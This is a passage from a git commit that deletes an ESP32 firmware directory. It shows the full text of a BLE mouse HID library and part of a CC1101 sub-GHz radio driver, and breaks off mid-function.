aboutsummaryrefslogtreecommitdiff
path: root/firmware
diff options
context:
space:
mode:
Diffstat (limited to 'firmware')
-rw-r--r--firmware/BleConnectionStatus.cpp18
-rw-r--r--firmware/BleConnectionStatus.h21
-rw-r--r--firmware/BleMouse.cpp173
-rw-r--r--firmware/BleMouse.h45
-rw-r--r--firmware/ELECHOUSE_CC1101_SRC_DRV.cpp1309
-rw-r--r--firmware/ELECHOUSE_CC1101_SRC_DRV.h194
-rw-r--r--firmware/badusb.cpp398
-rw-r--r--firmware/badusb.h5
-rw-r--r--firmware/ble_mouse.cpp74
-rw-r--r--firmware/ble_mouse.h3
-rw-r--r--firmware/blescanner.cpp209
-rw-r--r--firmware/blescanner.h5
-rw-r--r--firmware/buttons.cpp20
-rw-r--r--firmware/buttons.h10
-rw-r--r--firmware/cc1101.cpp150
-rw-r--r--firmware/cc1101.h9
-rw-r--r--firmware/config.h48
-rw-r--r--firmware/device_check.cpp193
-rw-r--r--firmware/device_check.h3
-rw-r--r--firmware/display.cpp16
-rw-r--r--firmware/display.h7
-rw-r--r--firmware/firmware.ino128
-rw-r--r--firmware/menu.cpp402
-rw-r--r--firmware/menu.h10
-rw-r--r--firmware/nrf24.cpp249
-rw-r--r--firmware/nrf24.h13
-rw-r--r--firmware/sysinfo.cpp87
-rw-r--r--firmware/sysinfo.h3
-rw-r--r--firmware/wifi_analyzer.cpp147
-rw-r--r--firmware/wifi_analyzer.h4
-rw-r--r--firmware/wifi_scan.cpp152
-rw-r--r--firmware/wifi_scan.h5
32 files changed, 0 insertions, 4110 deletions
diff --git a/firmware/BleConnectionStatus.cpp b/firmware/BleConnectionStatus.cpp
deleted file mode 100644
index f01183b..0000000
--- a/firmware/BleConnectionStatus.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-#include "BleConnectionStatus.h"
-
-BleConnectionStatus::BleConnectionStatus(void) {
-}
-
-void BleConnectionStatus::onConnect(BLEServer* pServer)
-{
- this->connected = true;
- BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
- desc->setNotifications(true);
-}
-
-void BleConnectionStatus::onDisconnect(BLEServer* pServer)
-{
- this->connected = false;
- BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
- desc->setNotifications(false);
-}
diff --git a/firmware/BleConnectionStatus.h b/firmware/BleConnectionStatus.h
deleted file mode 100644
index b703150..0000000
--- a/firmware/BleConnectionStatus.h
+++ /dev/null
@@ -1,21 +0,0 @@
-#ifndef ESP32_BLE_CONNECTION_STATUS_H
-#define ESP32_BLE_CONNECTION_STATUS_H
-#include "sdkconfig.h"
-#if defined(CONFIG_BT_ENABLED)
-
-#include <BLEServer.h>
-#include "BLE2902.h"
-#include "BLECharacteristic.h"
-
-class BleConnectionStatus : public BLEServerCallbacks
-{
-public:
- BleConnectionStatus(void);
- bool connected = false;
- void onConnect(BLEServer* pServer);
- void onDisconnect(BLEServer* pServer);
- BLECharacteristic* inputMouse;
-};
-
-#endif // CONFIG_BT_ENABLED
-#endif // ESP32_BLE_CONNECTION_STATUS_H
diff --git a/firmware/BleMouse.cpp b/firmware/BleMouse.cpp
deleted file mode 100644
index 84971ed..0000000
--- a/firmware/BleMouse.cpp
+++ /dev/null
@@ -1,173 +0,0 @@
-#include <BLEDevice.h>
-#include <BLEUtils.h>
-#include <BLEServer.h>
-#include "BLE2902.h"
-#include "BLEHIDDevice.h"
-#include "HIDTypes.h"
-#include "HIDKeyboardTypes.h"
-#include <driver/adc.h>
-#include "sdkconfig.h"
-
-#include "BleConnectionStatus.h"
-#include "BleMouse.h"
-
-#if defined(CONFIG_ARDUHAL_ESP_LOG)
- #include "esp32-hal-log.h"
- #define LOG_TAG ""
-#else
- #include "esp_log.h"
- static const char* LOG_TAG = "BLEDevice";
-#endif
-
-static const uint8_t _hidReportDescriptor[] = {
- USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
- USAGE(1), 0x02, // USAGE (Mouse)
- COLLECTION(1), 0x01, // COLLECTION (Application)
- USAGE(1), 0x01, // USAGE (Pointer)
- COLLECTION(1), 0x00, // COLLECTION (Physical)
- // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
- USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
- USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
- USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
- LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0)
- LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1)
- REPORT_SIZE(1), 0x01, // REPORT_SIZE (1)
- REPORT_COUNT(1), 0x05, // REPORT_COUNT (5)
- HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits
- // ------------------------------------------------- Padding
- REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
- REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
- HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
- // ------------------------------------------------- X/Y position, Wheel
- USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
- USAGE(1), 0x30, // USAGE (X)
- USAGE(1), 0x31, // USAGE (Y)
- USAGE(1), 0x38, // USAGE (Wheel)
- LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
- LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
- REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
- REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
- HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
- // ------------------------------------------------- Horizontal wheel
- USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
- USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
- LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
- LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
- REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
- REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
- HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel)
- END_COLLECTION(0), // END_COLLECTION
- END_COLLECTION(0) // END_COLLECTION
-};
-
-BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
- _buttons(0),
- hid(0)
-{
- this->deviceName = deviceName;
- this->deviceManufacturer = deviceManufacturer;
- this->batteryLevel = batteryLevel;
- this->connectionStatus = new BleConnectionStatus();
-}
-
-void BleMouse::begin(void)
-{
- xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
-}
-
-void BleMouse::end(void)
-{
-}
-
-void BleMouse::click(uint8_t b)
-{
- _buttons = b;
- move(0,0,0,0);
- _buttons = 0;
- move(0,0,0,0);
-}
-
-void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
-{
- if (this->isConnected())
- {
- uint8_t m[5];
- m[0] = _buttons;
- m[1] = x;
- m[2] = y;
- m[3] = wheel;
- m[4] = hWheel;
- this->inputMouse->setValue(m, 5);
- this->inputMouse->notify();
- }
-}
-
-void BleMouse::buttons(uint8_t b)
-{
- if (b != _buttons)
- {
- _buttons = b;
- move(0,0,0,0);
- }
-}
-
-void BleMouse::press(uint8_t b)
-{
- buttons(_buttons | b);
-}
-
-void BleMouse::release(uint8_t b)
-{
- buttons(_buttons & ~b);
-}
-
-bool BleMouse::isPressed(uint8_t b)
-{
- if ((b & _buttons) > 0)
- return true;
- return false;
-}
-
-bool BleMouse::isConnected(void) {
- return this->connectionStatus->connected;
-}
-
-void BleMouse::setBatteryLevel(uint8_t level) {
- this->batteryLevel = level;
- if (hid != 0)
- this->hid->setBatteryLevel(this->batteryLevel);
-}
-
-void BleMouse::taskServer(void* pvParameter) {
- BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
- BLEDevice::init(String(bleMouseInstance->deviceName.c_str()));
- BLEServer *pServer = BLEDevice::createServer();
- pServer->setCallbacks(bleMouseInstance->connectionStatus);
-
- bleMouseInstance->hid = new BLEHIDDevice(pServer);
- bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
- bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
-
- bleMouseInstance->hid->manufacturer()->setValue(String(bleMouseInstance->deviceManufacturer.c_str()));
-
- bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
- bleMouseInstance->hid->hidInfo(0x00,0x02);
-
- BLESecurity *pSecurity = new BLESecurity();
-
- pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
-
- bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
- bleMouseInstance->hid->startServices();
-
- bleMouseInstance->onStarted(pServer);
-
- BLEAdvertising *pAdvertising = pServer->getAdvertising();
- pAdvertising->setAppearance(HID_MOUSE);
- pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
- pAdvertising->start();
- bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
-
- ESP_LOGD(LOG_TAG, "Advertising started!");
- vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
-}
diff --git a/firmware/BleMouse.h b/firmware/BleMouse.h
deleted file mode 100644
index 8b4ab9b..0000000
--- a/firmware/BleMouse.h
+++ /dev/null
@@ -1,45 +0,0 @@
-#ifndef ESP32_BLE_MOUSE_H
-#define ESP32_BLE_MOUSE_H
-#include "sdkconfig.h"
-#if defined(CONFIG_BT_ENABLED)
-
-#include "BleConnectionStatus.h"
-#include "BLEHIDDevice.h"
-#include "BLECharacteristic.h"
-
-#define MOUSE_LEFT 1
-#define MOUSE_RIGHT 2
-#define MOUSE_MIDDLE 4
-#define MOUSE_BACK 8
-#define MOUSE_FORWARD 16
-#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
-
-class BleMouse {
-private:
- uint8_t _buttons;
- BleConnectionStatus* connectionStatus;
- BLEHIDDevice* hid;
- BLECharacteristic* inputMouse;
- void buttons(uint8_t b);
- void rawAction(uint8_t msg[], char msgSize);
- static void taskServer(void* pvParameter);
-public:
- BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
- void begin(void);
- void end(void);
- void click(uint8_t b = MOUSE_LEFT);
- void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
- void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
- void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
- bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
- bool isConnected(void);
- void setBatteryLevel(uint8_t level);
- uint8_t batteryLevel;
- std::string deviceManufacturer;
- std::string deviceName;
-protected:
- virtual void onStarted(BLEServer *pServer) { };
-};
-
-#endif // CONFIG_BT_ENABLED
-#endif // ESP32_BLE_MOUSE_H
diff --git a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp b/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp
deleted file mode 100644
index 5568989..0000000
--- a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp
+++ /dev/null
@@ -1,1309 +0,0 @@
-/*
- ELECHOUSE_CC1101.cpp - CC1101 module library
- Copyright (c) 2010 Michael.
- Author: Michael, <www.elechouse.com>
- Version: November 12, 2010
-
- This library is designed to use CC1101/CC1100 module on Arduino platform.
- CC1101/CC1100 module is an useful wireless module.Using the functions of the
- library, you can easily send and receive data by the CC1101/CC1100 module.
- Just have fun!
- For the details, please refer to the datasheet of CC1100/CC1101.
-----------------------------------------------------------------------------------------------------------------
-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).
-----------------------------------------------------------------------------------------------------------------
-*/
-#include <SPI.h>
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-#include <Arduino.h>
-
-/****************************************************************/
-#define WRITE_BURST 0x40 //write burst
-#define READ_SINGLE 0x80 //read single
-#define READ_BURST 0xC0 //read burst
-#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo
-#define max_modul 6
-
-SPIClass CCSPI(HSPI);
-
-byte modulation = 2;
-byte frend0;
-byte chan = 0;
-int pa = 12;
-byte last_pa;
-byte SCK_PIN;
-byte MISO_PIN;
-byte MOSI_PIN;
-byte SS_PIN;
-byte GDO0;
-byte GDO2;
-byte SCK_PIN_M[max_modul];
-byte MISO_PIN_M[max_modul];
-byte MOSI_PIN_M[max_modul];
-byte SS_PIN_M[max_modul];
-byte GDO0_M[max_modul];
-byte GDO2_M[max_modul];
-byte gdo_set=0;
-bool spi = 0;
-bool ccmode = 0;
-float MHz = 433.92;
-byte m4RxBw = 0;
-byte m4DaRa;
-byte m2DCOFF;
-byte m2MODFM;
-byte m2MANCH;
-byte m2SYNCM;
-byte m1FEC;
-byte m1PRE;
-byte m1CHSP;
-byte pc1PQT;
-byte pc1CRC_AF;
-byte pc1APP_ST;
-byte pc1ADRCHK;
-byte pc0WDATA;
-byte pc0PktForm;
-byte pc0CRC_EN;
-byte pc0LenConf;
-byte trxstate = 0;
-byte clb1[2]= {24,28};
-byte clb2[2]= {31,38};
-byte clb3[2]= {65,76};
-byte clb4[2]= {77,79};
-
-/****************************************************************/
-uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00};
-// -30 -20 -15 -10 0 5 7 10
-uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348
-uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464
-// -30 -20 -15 -10 -6 0 5 7 10 12
-uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99
-// -30 -20 -15 -10 -6 0 5 7 10 11
-uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928
-/****************************************************************
-*FUNCTION NAME:SpiStart
-*FUNCTION :spi communication start
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiStart(void)
-{
- // initialize the SPI pins
- pinMode(SCK_PIN, OUTPUT);
- pinMode(MOSI_PIN, OUTPUT);
- pinMode(MISO_PIN, INPUT);
- pinMode(SS_PIN, OUTPUT);
-
- // enable SPI
- #ifdef ESP32
- CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);
- #else
- CCSPI.begin();
- #endif
-}
-/****************************************************************
-*FUNCTION NAME:SpiEnd
-*FUNCTION :spi communication disable
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiEnd(void)
-{
- // disable SPI
- CCSPI.endTransaction();
- CCSPI.end();
-}
-/****************************************************************
-*FUNCTION NAME: GDO_Set()
-*FUNCTION : set GDO0,GDO2 pin for serial pinmode.
-*INPUT : none
-*OUTPUT : none
-****************************************************************/
-void ELECHOUSE_CC1101::GDO_Set (void)
-{
- pinMode(GDO0, OUTPUT);
- pinMode(GDO2, INPUT);
-}
-/****************************************************************
-*FUNCTION NAME: GDO_Set()
-*FUNCTION : set GDO0 for internal transmission mode.
-*INPUT : none
-*OUTPUT : none
-****************************************************************/
-void ELECHOUSE_CC1101::GDO0_Set (void)
-{
- pinMode(GDO0, INPUT);
-}
-/****************************************************************
-*FUNCTION NAME:Reset
-*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100//
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Reset (void)
-{
- digitalWrite(SS_PIN, LOW);
- delay(1);
- digitalWrite(SS_PIN, HIGH);
- delay(1);
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(CC1101_SRES);
- while(digitalRead(MISO_PIN));
- digitalWrite(SS_PIN, HIGH);
-}
-/****************************************************************
-*FUNCTION NAME:Init
-*FUNCTION :CC1101 initialization
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Init(void)
-{
- setSpi();
- SpiStart(); //spi initialization
- digitalWrite(SS_PIN, HIGH);
- digitalWrite(SCK_PIN, HIGH);
- digitalWrite(MOSI_PIN, LOW);
- Reset(); //CC1101 reset
- RegConfigSettings(); //CC1101 register config
- SpiEnd();
-}
-/****************************************************************
-*FUNCTION NAME:SpiWriteReg
-*FUNCTION :CC1101 write data to register
-*INPUT :addr: register address; value: register value
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)
-{
- SpiStart();
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(addr);
- CCSPI.transfer(value);
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
-}
-/****************************************************************
-*FUNCTION NAME:SpiWriteBurstReg
-*FUNCTION :CC1101 write burst data to register
-*INPUT :addr: register address; buffer:register value array; num:number to write
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)
-{
- byte i, temp;
- SpiStart();
- temp = addr | WRITE_BURST;
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(temp);
- for (i = 0; i < num; i++)
- {
- CCSPI.transfer(buffer[i]);
- }
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
-}
-/****************************************************************
-*FUNCTION NAME:SpiStrobe
-*FUNCTION :CC1101 Strobe
-*INPUT :strobe: command; //refer define in CC1101.h//
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiStrobe(byte strobe)
-{
- SpiStart();
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(strobe);
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
-}
-/****************************************************************
-*FUNCTION NAME:SpiReadReg
-*FUNCTION :CC1101 read data from register
-*INPUT :addr: register address
-*OUTPUT :register value
-****************************************************************/
-byte ELECHOUSE_CC1101::SpiReadReg(byte addr)
-{
- byte temp, value;
- SpiStart();
- temp = addr| READ_SINGLE;
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(temp);
- value=CCSPI.transfer(0);
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
- return value;
-}
-
-/****************************************************************
-*FUNCTION NAME:SpiReadBurstReg
-*FUNCTION :CC1101 read burst data from register
-*INPUT :addr: register address; buffer:array to store register value; num: number to read
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)
-{
- byte i,temp;
- SpiStart();
- temp = addr | READ_BURST;
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(temp);
- for(i=0;i<num;i++)
- {
- buffer[i]=CCSPI.transfer(0);
- }
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
-}
-
-/****************************************************************
-*FUNCTION NAME:SpiReadStatus
-*FUNCTION :CC1101 read status register
-*INPUT :addr: register address
-*OUTPUT :status value
-****************************************************************/
-byte ELECHOUSE_CC1101::SpiReadStatus(byte addr)
-{
- byte value,temp;
- SpiStart();
- temp = addr | READ_BURST;
- digitalWrite(SS_PIN, LOW);
- while(digitalRead(MISO_PIN));
- CCSPI.transfer(temp);
- value=CCSPI.transfer(0);
- digitalWrite(SS_PIN, HIGH);
- SpiEnd();
- return value;
-}
-/****************************************************************
-*FUNCTION NAME:SPI pin Settings
-*FUNCTION :Set Spi pins
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSpi(void){
- if (spi == 0){
- #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__
- SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;
- #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__
- SCK_PIN = 52; MISO_PIN = 50; MOSI_PIN = 51; SS_PIN = 53;
- #elif ESP8266
- SCK_PIN = 14; MISO_PIN = 12; MOSI_PIN = 13; SS_PIN = 15;
- #elif ESP32
- SCK_PIN = 18; MISO_PIN = 19; MOSI_PIN = 23; SS_PIN = 5;
- #else
- SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;
- #endif
-}
-}
-/****************************************************************
-*FUNCTION NAME:COSTUM SPI
-*FUNCTION :set costum spi pins.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss){
- spi = 1;
- SCK_PIN = sck;
- MISO_PIN = miso;
- MOSI_PIN = mosi;
- SS_PIN = ss;
-}
-/****************************************************************
-*FUNCTION NAME:COSTUM SPI
-*FUNCTION :set costum spi pins.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){
- spi = 1;
- SCK_PIN_M[modul] = sck;
- MISO_PIN_M[modul] = miso;
- MOSI_PIN_M[modul] = mosi;
- SS_PIN_M[modul] = ss;
-}
-/****************************************************************
-*FUNCTION NAME:GDO Pin settings
-*FUNCTION :set GDO Pins
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2){
-GDO0 = gdo0;
-GDO2 = gdo2;
-GDO_Set();
-}
-/****************************************************************
-*FUNCTION NAME:GDO0 Pin setting
-*FUNCTION :set GDO0 Pin
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setGDO0(byte gdo0){
-GDO0 = gdo0;
-GDO0_Set();
-}
-/****************************************************************
-*FUNCTION NAME:GDO Pin settings
-*FUNCTION :add GDO Pins
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul){
-GDO0_M[modul] = gdo0;
-GDO2_M[modul] = gdo2;
-gdo_set=2;
-GDO_Set();
-}
-/****************************************************************
-*FUNCTION NAME:add GDO0 Pin
-*FUNCTION :add GDO0 Pin
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul){
-GDO0_M[modul] = gdo0;
-gdo_set=1;
-GDO0_Set();
-}
-/****************************************************************
-*FUNCTION NAME:set Modul
-*FUNCTION :change modul
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setModul(byte modul){
- SCK_PIN = SCK_PIN_M[modul];
- MISO_PIN = MISO_PIN_M[modul];
- MOSI_PIN = MOSI_PIN_M[modul];
- SS_PIN = SS_PIN_M[modul];
- if (gdo_set==1){
- GDO0 = GDO0_M[modul];
- }
- else if (gdo_set==2){
- GDO0 = GDO0_M[modul];
- GDO2 = GDO2_M[modul];
- }
-}
-/****************************************************************
-*FUNCTION NAME:CCMode
-*FUNCTION :Format of RX and TX data
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setCCMode(bool s){
-ccmode = s;
-if (ccmode == 1){
-SpiWriteReg(CC1101_IOCFG2, 0x0B);
-SpiWriteReg(CC1101_IOCFG0, 0x06);
-SpiWriteReg(CC1101_PKTCTRL0, 0x05);
-SpiWriteReg(CC1101_MDMCFG3, 0xF8);
-SpiWriteReg(CC1101_MDMCFG4,11+m4RxBw);
-}else{
-SpiWriteReg(CC1101_IOCFG2, 0x0D);
-SpiWriteReg(CC1101_IOCFG0, 0x0D);
-SpiWriteReg(CC1101_PKTCTRL0, 0x32);
-SpiWriteReg(CC1101_MDMCFG3, 0x93);
-SpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw);
-}
-setModulation(modulation);
-}
-/****************************************************************
-*FUNCTION NAME:Modulation
-*FUNCTION :set CC1101 Modulation
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setModulation(byte m){
-if (m>4){m=4;}
-modulation = m;
-Split_MDMCFG2();
-switch (m)
-{
-case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK
-case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK
-case 2: m2MODFM=0x30; frend0=0x11; break; // ASK
-case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK
-case 4: m2MODFM=0x70; frend0=0x10; break; // MSK
-}
-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);
-SpiWriteReg(CC1101_FREND0, frend0);
-setPA(pa);
-}
-/****************************************************************
-*FUNCTION NAME:PA Power
-*FUNCTION :set CC1101 PA Power
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setPA(int p)
-{
-int a;
-pa = p;
-
-if (MHz >= 300 && MHz <= 348){
-if (pa <= -30){a = PA_TABLE_315[0];}
-else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];}
-else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];}
-else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];}
-else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];}
-else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];}
-else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];}
-else if (pa > 7){a = PA_TABLE_315[7];}
-last_pa = 1;
-}
-else if (MHz >= 378 && MHz <= 464){
-if (pa <= -30){a = PA_TABLE_433[0];}
-else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];}
-else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];}
-else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];}
-else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];}
-else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];}
-else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];}
-else if (pa > 7){a = PA_TABLE_433[7];}
-last_pa = 2;
-}
-else if (MHz >= 779 && MHz <= 899.99){
-if (pa <= -30){a = PA_TABLE_868[0];}
-else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];}
-else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];}
-else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];}
-else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];}
-else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];}
-else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];}
-else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];}
-else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];}
-else if (pa > 10){a = PA_TABLE_868[9];}
-last_pa = 3;
-}
-else if (MHz >= 900 && MHz <= 928){
-if (pa <= -30){a = PA_TABLE_915[0];}
-else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];}
-else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];}
-else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];}
-else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];}
-else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];}
-else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];}
-else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];}
-else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];}
-else if (pa > 10){a = PA_TABLE_915[9];}
-last_pa = 4;
-}
-if (modulation == 2){
-PA_TABLE[0] = 0;
-PA_TABLE[1] = a;
-}else{
-PA_TABLE[0] = a;
-PA_TABLE[1] = 0;
-}
-SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8);
-}
-/****************************************************************
-*FUNCTION NAME:Frequency Calculator
-*FUNCTION :Calculate the basic frequency.
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::setMHZ(float mhz){
-byte freq2 = 0;
-byte freq1 = 0;
-byte freq0 = 0;
-
-MHz = mhz;
-
-for (bool i = 0; i==0;){
-if (mhz >= 26){
-mhz-=26;
-freq2+=1;
-}
-else if (mhz >= 0.1015625){
-mhz-=0.1015625;
-freq1+=1;
-}
-else if (mhz >= 0.00039675){
-mhz-=0.00039675;
-freq0+=1;
-}
-else{i=1;}
-}
-if (freq0 > 255){freq1+=1;freq0-=256;}
-
-SpiWriteReg(CC1101_FREQ2, freq2);
-SpiWriteReg(CC1101_FREQ1, freq1);
-SpiWriteReg(CC1101_FREQ0, freq0);
-
-Calibrate();
-}
-/****************************************************************
-*FUNCTION NAME:Calibrate
-*FUNCTION :Calibrate frequency
-*INPUT :none
-*OUTPUT :none
-****************************************************************/
-void ELECHOUSE_CC1101::Calibrate(void){
-
-if (MHz >= 300 && MHz <= 348){
-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));
-if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);}
-else{
-SpiWriteReg(CC1101_TEST0,0x09);
-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);
-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}
-if (last_pa != 1){setPA(pa);}
-}
-}
-else if (MHz >= 378 && MHz <= 464){
